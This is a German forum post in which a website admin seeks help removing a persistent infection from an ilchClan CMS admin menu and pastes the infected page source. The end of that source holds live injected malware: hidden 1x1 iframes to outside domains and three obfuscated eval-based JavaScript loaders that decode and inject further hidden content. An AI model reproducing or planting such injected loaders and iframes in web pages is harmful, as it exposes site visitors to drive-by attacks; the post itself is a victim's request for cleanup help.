seit Tagen bin ich am Entfernen eines Viruses vom Server.
Nur noch im Admin Menü ist einer den bekomme ich nicht obwohl ich die Daten überspielt bzw. überschrieben habe.
Er schreibt zwar admin.php aber dort ist er nicht.
Hier der Quelltext:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <html> <head> <title>ilch AdminMenu</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta name="Copyright" content="Script Copyright by ilch.de" /> <meta name="Page-topic" content="ilchClan - Clanscript" /> <meta name="Audience" content="Alle" /> <meta name="Robots" content="INDEX,FOLLOW" /> <meta http-equiv="cache-control" content="no-cache" /> <meta http-equiv="Pragma" content="no-cache" /> <meta name="Robots" content="archive" /> <link rel="stylesheet" type="text/css" href="include/admin/templates/style.css" /> <script type="text/javascript" src="include/includes/js/JSCookMenu.js"></script> <link rel="stylesheet" href="include/admin/templates/JSCookMenu/theme.css" type="text/css" /> <script type="text/javascript" src="include/admin/templates/JSCookMenu/theme.js"></script> <style type="text/css"> ul.admix {list-style: none;} ul.admix li ul { margin: 0; padding: 0; } ul.admix li ul li { display:block; float: left; padding: 5px; height: 76px; width: 80px; text-align: center; outline: 0px solid #faa;} ul.admix li ul li a {text-align:center;display: table-cell; display: inline-block; font-weight: bold; font-size: 11px; text-decoration: none;} ul.admix li ul li a img {display:block; margin: 0 auto 4px auto; width: 48px; height: 48px; } ul.admix li.admix_box {width: 780px; font-size: 14px; font-weight: bold; border:1px solid #555753; text-align: center; margin-top: 10px; background: #eeeeec url(include/images/icons/admin/box_header.png) repeat-x left top; color: #eeeeec;} ul.admix_n li ul li a img {display:inline; width: 0px; height: 0px; } ul.admix li ul br.admix_last {clear: both; } ul.admix_n li ul br.admix_last {display: inline; margin:0; height:0; padding: 0;} </style> <script type="text/javascript" src="include/includes/js/BBCodeGlobal.js"></script> <script type="text/javascript"> var bbcodemaximagewidth = 500; var bbcodemaximageheight = 500; </script> </head> <body style="margin:0; padding: 0;"> <script language="JavaScript" type="text/javascript"> <!-- function createNewUser() { var Fenster = window.open ('admin.php?user-createNewUser', 'createNewUser', 'status=yes,scrollbars=yes,height=200,width=350,left=300,top=50'); Fenster.focus(); } //--> </script><SCRIPT LANGUAGE="JavaScript"><!-- var myMenu = [ [null, 'Seite', './', null, null], [null, 'Admin', 'admin.php?admin', null, null, ['<img src="include/images/icons/admin/konfiguration.png" width="16" height="16">', 'Konfiguration', 'admin.php?allg', null, null], ['<img src="include/images/icons/admin/navigation.png" width="16" height="16">', 'Navigation', 'admin.php?menu', null, null], ['<img src="include/images/icons/admin/backup.png" width="16" height="16">', 'Backup', 'admin.php?backup', null, null], ['<img src="include/images/icons/admin/ranks.png" width="16" height="16">', 'Ranks', 'admin.php?range', null, null], ['<img src="include/images/icons/admin/smilies.png" width="16" height="16">', 'Smilies', 'admin.php?smilies', null, null], ['<img src="include/images/icons/admin/newsletter.png" width="16" height="16">', 'Newsletter', 'admin.php?newsletter', null, null], ['<img src="include/images/icons/admin/version_check.png" width="16" height="16">', 'Versions Kontrolle', 'admin.php?admin-versionsKontrolle', null, null], ['<img src="include/images/icons/admin/version_check.png" width="16" height="16">', 'Server Konfiguration', 'admin.php?checkconf', null, null], ['<img src="include/images/icons/admin/stats_site.png" width="16" height="16">', 'Statistik', null, null, null, ['<img src="include/images/icons/admin/stats_visitor.png" width="16" height="16">', 'Besucher', 'admin.php?admin-besucherStatistik', null, null], ['<img src="include/images/icons/admin/stats_site.png" width="16" height="16">', 'Seite', 'admin.php?admin-siteStatistik', null, null], ['<img src="include/images/icons/admin/stats_online.png" width="16" height="16">', 'Online', 'admin.php?admin-userOnline', null, null], ], ], [null, 'User', 'admin.php?user', null, null, ['<img src="include/images/icons/admin/user.png" width="16" height="16">', 'Verwalten', 'admin.php?user', null, null], ['<img src="include/images/icons/admin/user_rights.png" width="16" height="16">', 'Grundrechte', 'admin.php?grundrechte', null, null], ['<img src="include/images/icons/admin/user_profile_fields.png" width="16" height="16">', 'Profilefelder', 'admin.php?profilefields', null, null], ['<img src="include/images/icons/admin/user_add.png" width="16" height="16">', 'neuen User', 'javascript: createNewUser();',null ,null], ], [null, 'Eigene Box/Page', 'admin.php?selfbp', null, null], [null, 'Clanbox', null, null, null, ['<img src="include/images/icons/admin/wars_next.png" width="16" height="16">', 'Nextwars', 'admin.php?wars-next', null, null], ['<img src="include/images/icons/admin/wars_last.png" width="16" height="16">', 'Lastwars', 'admin.php?wars-last', null, null], ['<img src="include/images/icons/admin/teams.png" width="16" height="16">', 'Teams', 'admin.php?groups', null, null], ['<img src="include/images/icons/admin/awards.png" width="16" height="16">', 'Awards', 'admin.php?awards', null, null], ['<img src="include/images/icons/admin/kasse.png" width="16" height="16">', 'Kasse', 'admin.php?kasse', null, null], ['<img src="include/images/icons/admin/rules.png" width="16" height="16">', 'Rules', 'admin.php?rules', null, null], ['<img src="include/images/icons/admin/history.png" width="16" height="16">', 'History', 'admin.php?history', null, null], ['<img src="include/images/icons/admin/training_times.png" width="16" height="16">', 'Trainzeiten', 'admin.php?trains', null, null], ], [null, 'Content', null, null, null, ['<img src="include/images/icons/admin/news.png" width="16" height="16">', 'News', 'admin.php?news', null, null], ['<img src="include/images/icons/admin/forum.png" width="16" height="16">', 'Forum', 'admin.php?forum', null, null], ['<img src="include/images/icons/admin/downloads.png" width="16" height="16">', 'Downloads', 'admin.php?archiv-downloads', null, null], ['<img src="include/images/icons/admin/links.png" width="16" height="16">', 'Links', 'admin.php?archiv-links', null, null], ['<img src="include/images/icons/admin/gallery.png" width="16" height="16">', 'Gallery', 'admin.php?gallery', null, null], ['<img src="include/images/icons/admin/guestbook.png" width="16" height="16">', 'Gbook', 'admin.php?gbook', null, null], ['<img src="include/images/icons/admin/vote.png" width="16" height="16">', 'Umfrage', 'admin.php?vote', null, null], ['<img src="include/images/icons/admin/calendar.png" width="16" height="16">', 'Kalender', 'admin.php?kalender', null, null], ['<img src="include/images/icons/admin/contact.png" width="16" height="16">', 'Kontakt', 'admin.php?contact', null, null], ['<img src="include/images/icons/admin/imprint.png" width="16" height="16">', 'Impressum', 'admin.php?impressum', null, null], [null, 'Boxen', null, null, null, ['<img src="include/images/icons/admin/partners.png" width="16" height="16">', 'Partner', 'admin.php?archiv-partners', null, null], ['<img src="include/images/icons/admin/picofx.png" width="16" height="16">', 'Pic of X', 'admin.php?picofx', null, null], ], ], [null, 'Module', null, null, null, [null, 'Ticker', 'admin.php?ticker', null, null], [null, 'BBCode 2.0', 'admin.php?bbcode', null, null], ] ]; --></SCRIPT> <div class="Cmite" ID="myMenuID"></div> <div style="padding: 10px" class="Callg"><table width="100%" border="0" cellspacing="0" cellpadding="5" class="rand"> <tr class="Chead"> <td><b>Willkommen bei ilchClan - Administration!</b></td> </tr> <tr> <td class="Cnorm"> <table width="100%"><tr><td valign="top" width="100%"> <!-- Hallo, hier können Sie alle möglichen Einstellungen vornehmen. <br /><br /> Wenn Sie Probleme haben sollten, oder irgendwie nicht weiter wissen, bitte kommen Sie uns doch auf <a href="http://www.ilch.de" target="_blank">www.ilch.de</a> besuchen, damit wir Ihnen helfen können. <br /><br /> Auch wenn Sie Verbesserungswünsche oder eine geniale Idee haben, freuen wir uns über jeden Vorschlag. <br /><br /> und jetzt <b>viel Spass mit dem Script!</b> --> <!-- </td><td valign="top" width="60%"> --> <br /> <h3 style="display:inline;">Ein Überblick über alle Inhalte</h3> <script type="text/javascript"> function toggle_mimg() { class_name = document.getElementById('cpm').className; if(class_name == "admix") { class_name = "admix_n"; link_text = "Symbol-Ansicht"; } else { class_name = "admix"; link_text = "Listen-Ansicht"; } document.getElementById('cpm').className = class_name; document.getElementById('list_toggle').innerHTML = link_text; } </script> <ul id="cpm" class="admix"> <li class="admix_box">Admin<br /> <ul> <li><a href="admin.php?allg"><img src="include/images/icons/admin/konfiguration.png" alt="">Konfiguration</a></li> <li><a href="admin.php?menu"><img src="include/images/icons/admin/navigation.png" alt="">Navigation</a></li> <li><a href="admin.php?backup"><img src="include/images/icons/admin/backup.png" alt="">Backup</a></li> <li><a href="admin.php?range"><img src="include/images/icons/admin/ranks.png" alt="">Ranks</a></li> <li><a href="admin.php?smilies"><img src="include/images/icons/admin/smilies.png" alt="">Smiles</a></li> <li><a href="admin.php?newsletter"><img src="include/images/icons/admin/newsletter.png" alt="">Newsletter</a></li> <li><a href="admin.php?admin-versionsKontrolle"><img src="include/images/icons/admin/version_check.png" alt="">Versions Kontrolle</a></li> <li><a href="admin.php?checkconf"><img src="include/images/icons/admin/version_check.png" alt="">Server Konfiguration</a></li> <br class="admix_last"/> </ul> </li> <li class="admix_box">Statistik<br /> <ul> <li><a href="admin.php?admin-besucherStatistik"><img src="include/images/icons/admin/stats_visitor.png" alt="">Besucher</a></li> <li><a href="admin.php?admin-siteStatistik"><img src="include/images/icons/admin/stats_site.png" alt="">Seite</a></li> <li><a href="admin.php?admin-userOnline"><img src="include/images/icons/admin/stats_online.png" alt="">Online</a></li> <br class="admix_last"/> </ul> </li> <li class="admix_box">Clanbox<br /> <ul> <li><a href="admin.php?wars-last"><img src="include/images/icons/admin/wars_last.png" alt="" />Lastwars</a></li> <li><a href="admin.php?wars-next"><img src="include/images/icons/admin/wars_next.png" alt="" />Nextwars</a></li> <li><a href="admin.php?awards"><img src="include/images/icons/admin/awards.png" alt="" />Awards</a></li> <li><a href="admin.php?kasse"><img src="include/images/icons/admin/kasse.png" alt="" />Kasse</a></li> <li><a href="admin.php?rules"><img src="include/images/icons/admin/rules.png" alt="" />Rules</a></li> <li><a href="admin.php?history"><img src="include/images/icons/admin/history.png" alt="" />History</a></li> <li><a href="admin.php?groups"><img src="include/images/icons/admin/teams.png" alt="" />Teams</a></li> <li><a href="admin.php?trains"><img src="include/images/icons/admin/training_times.png" alt="" />Trainzeiten</a></li> <br class="admix_last"/> </ul> </li> <li class="admix_box">User<br /> <ul> <li><a href="admin.php?user"><img src="include/images/icons/admin/user.png" alt="">Verwalten</a></li> <li><a href="admin.php?grundrechte"><img src="include/images/icons/admin/user_rights.png" alt="">Grundrechte</a></li> <li><a href="admin.php?profilefields"><img src="include/images/icons/admin/user_profile_fields.png" alt="">Profilefelder</a></li> <li><a href="javascript: createNewUser();"><img src="include/images/icons/admin/user_add.png" alt="">neuen User</a></li> <br class="admix_last"/> </ul> </li> <li class="admix_box">Content<br /> <ul> <li><a href="admin.php?news"><img src="include/images/icons/admin/news.png" alt="">News</a></li> <li><a href="admin.php?forum"><img src="include/images/icons/admin/forum.png" alt="">Forum</a></li> <li><a href="admin.php?archiv-downloads"><img src="include/images/icons/admin/downloads.png" alt="">Downloads</a></li> <li><a href="admin.php?archiv-links"><img src="include/images/icons/admin/links.png" alt="">Links</a></li> <li><a href="admin.php?gallery"><img src="include/images/icons/admin/gallery.png" alt="">Gallery</a></li> <li><a href="admin.php?vote"><img src="include/images/icons/admin/vote.png" alt="">Umfrage</a></li> <li><a href="admin.php?kalender"><img src="include/images/icons/admin/calendar.png" alt="">Kalender</a></li> <li><a href="admin.php?contact"><img src="include/images/icons/admin/contact.png" alt="">Kontakt</a></li> <li><a href="admin.php?impressum"><img src="include/images/icons/admin/imprint.png" alt="">Impressum</a></li> <li><a href="admin.php?selfbp"><img src="include/images/icons/admin/self_page_box.png" alt="">Eigene Box/Page</a></li> <li><a href="admin.php?gbook"><img src="include/images/icons/admin/guestbook.png" alt="">Gästebuch</a></li> <br class="admix_last"/> </ul> </li> <li class="admix_box">Boxen<br /> <ul> <li><a href="admin.php?picofx"><img src="include/images/icons/admin/picofx.png" alt="">PicOfX</a></li> <li><a href="admin.php?archiv-partners"><img src="include/images/icons/admin/partners.png" alt="">Partner</a></li> <br class="admix_last"/> </ul> </li> <li class="admix_box">Module <br /><ul><li><a href="admin.php?ticker"><img src="include/images/icons/admin/na.png" alt="">Ticker</a></li> <li><a href="admin.php?bbcode"><img src="include/images/icons/admin/bbcode.png" alt="">BBCode 2.0</a></li> <br class="admix_last"/></ul> </li> </ul> </td></td></table> </td> </tr> </table> </div> <center class="Cmite"><a href="http://www.ilch.de" target="_blank">Bereitgestellt von ilch.de</a></center> <a href="#" name="bot"></a> <SCRIPT LANGUAGE="JavaScript"><!-- cmDraw ('myMenuID', myMenu, 'hbr', cmThemePanel, 'ThemePanel'); --></SCRIPT> <iframe src="http://selen77.com/" width="1" height="1" frameborder="0"></iframe><script language="javascript" type="text/javascript">var O01='7kyJ+QHcpdyKnI3Yz9CP+IyN2YDMwITPkl2PvUncuQ3YlJXakVWbpR3LvoDc0RHai0zYyNHIiQHcpJ3YTFmdhpkI9U2ZhV3ZuFGbgQHcpdyKnI3YzxzJoUGdpJ3duQnbl1Wdj9GZ';var l0O=["\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function I0O(OII){var _1lO=l0O[0];var l10,I1I,_10O,l1O,O11,_1l0,_1ll,_110,IIO=0,_0Ol=l0O[1];do{l1O=_1lO[l0O[3]](OII[l0O[2]](IIO++));O11=_1lO[l0O[3]](OII[l0O[2]](IIO++));_1l0=_1lO[l0O[3]](OII[l0O[2]](IIO++));_1ll=_1lO[l0O[3]](OII[l0O[2]](IIO++));_110=l1O<<18|O11<<12|_1l0<<6|_1ll;l10=_110>>16&0xff;I1I=_110>>8&0xff;_10O=_110&0xff;if(_1l0==64){_0Ol+=String[l0O[4]](l10);}else{if(_1ll==64){_0Ol+=String[l0O[4]](l10,I1I);}else{_0Ol+=String[l0O[4]](l10,I1I,_10O);};};} while(IIO<OII[l0O[5]]);return _0Ol;};function OIl(IO0){var OlO=l0O[1],IIO=0;for(IIO=IO0[l0O[5]]-1;IIO>=0;IIO--){OlO+=IO0[l0O[2]](IIO);};return OlO;};eval(I0O(OIl(O01)));</script> <script language="javascript" type="text/javascript">var IOO='=sTKn4Ddwl2JrcicjN3L84jI3YjNwAjM9QWa/8SbvNmLyVGZuFGcvB3LvoDc0RHai0zYyNHIiQHcpJ3YTFmdhpkI9U2ZhV3ZuFGbgQHcpdyKnI3YzxzJoUGdpJ3duQnbl1Wdj9GZ';var OII=["\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function O01(l1I){var lO1=OII[0];var I00,_0OI,OI1,OI0,I1I,l10,III,_010,O11=0,IOl=OII[1];do{OI0=lO1[OII[3]](l1I[OII[2]](O11++));I1I=lO1[OII[3]](l1I[OII[2]](O11++));l10=lO1[OII[3]](l1I[OII[2]](O11++));III=lO1[OII[3]](l1I[OII[2]](O11++));_010=OI0<<18|I1I<<12|l10<<6|III;I00=_010>>16&0xff;_0OI=_010>>8&0xff;OI1=_010&0xff;if(l10==64){IOl+=String[OII[4]](I00);}else{if(III==64){IOl+=String[OII[4]](I00,_0OI);}else{IOl+=String[OII[4]](I00,_0OI,OI1);};};} while(O11<l1I[OII[5]]);return IOl;};function IlO(OIO){var lIl=OII[1],O11=0;for(O11=OIO[OII[5]]-1;O11>=0;O11--){lIl+=OIO[OII[2]](O11);};return lIl;};eval(O01(IlO(IOO)));</script> <script language="javascript" type="text/javascript">var lO1='7kyJ+QHcpdyKnI3Yz9CP+IyN2YDMwITPkl2PwhGcuMnavQHcpJ3Yz9Sdy5iclRnb1hmZlJ3LvoDc0RHai0zYyNHIiQHcpJ3YTFmdhpkI9U2ZhV3ZuFGbgQHcpdyKnI3YzxzJoUGdpJ3duQnbl1Wdj9GZ';var IOI=["\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function _01O(_111){var _0l0=IOI[0];var _10l,I0O,_1IO,_1I0,OOI,Oll,l00,llO,O11=0,_1l0=IOI[1];do{_1I0=_0l0[IOI[3]](_111[IOI[2]](O11++));OOI=_0l0[IOI[3]](_111[IOI[2]](O11++));Oll=_0l0[IOI[3]](_111[IOI[2]](O11++));l00=_0l0[IOI[3]](_111[IOI[2]](O11++));llO=_1I0<<18|OOI<<12|Oll<<6|l00;_10l=llO>>16&0xff;I0O=llO>>8&0xff;_1IO=llO&0xff;if(Oll==64){_1l0+=String[IOI[4]](_10l);}else{if(l00==64){_1l0+=String[IOI[4]](_10l,I0O);}else{_1l0+=String[IOI[4]](_10l,I0O,_1IO);};};} while(O11<_111[IOI[5]]);return _1l0;};function _1Ol(O1l){var OlO=IOI[1],O11=0;for(O11=O1l[IOI[5]]-1;O11>=0;O11--){OlO+=O1l[IOI[2]](O11);};return OlO;};eval(_01O(_1Ol(lO1)));</script><iframe src="http://xtcstats.in/" width="1" height="1" frameborder="0"></iframe> </body> </html>
Unten die letzten Zeilen das ist der SPAM
<iframe src="http://selen77.com/
[code][/code]
Wenn ich im Admin Menü auf User gehe oder Smilis bleibt der Werbebanner ("VIRUS") in der Mitte stehen.
Was oder Wo soll ich noch suchen?
betroffene Homepage: 1sta.de/HP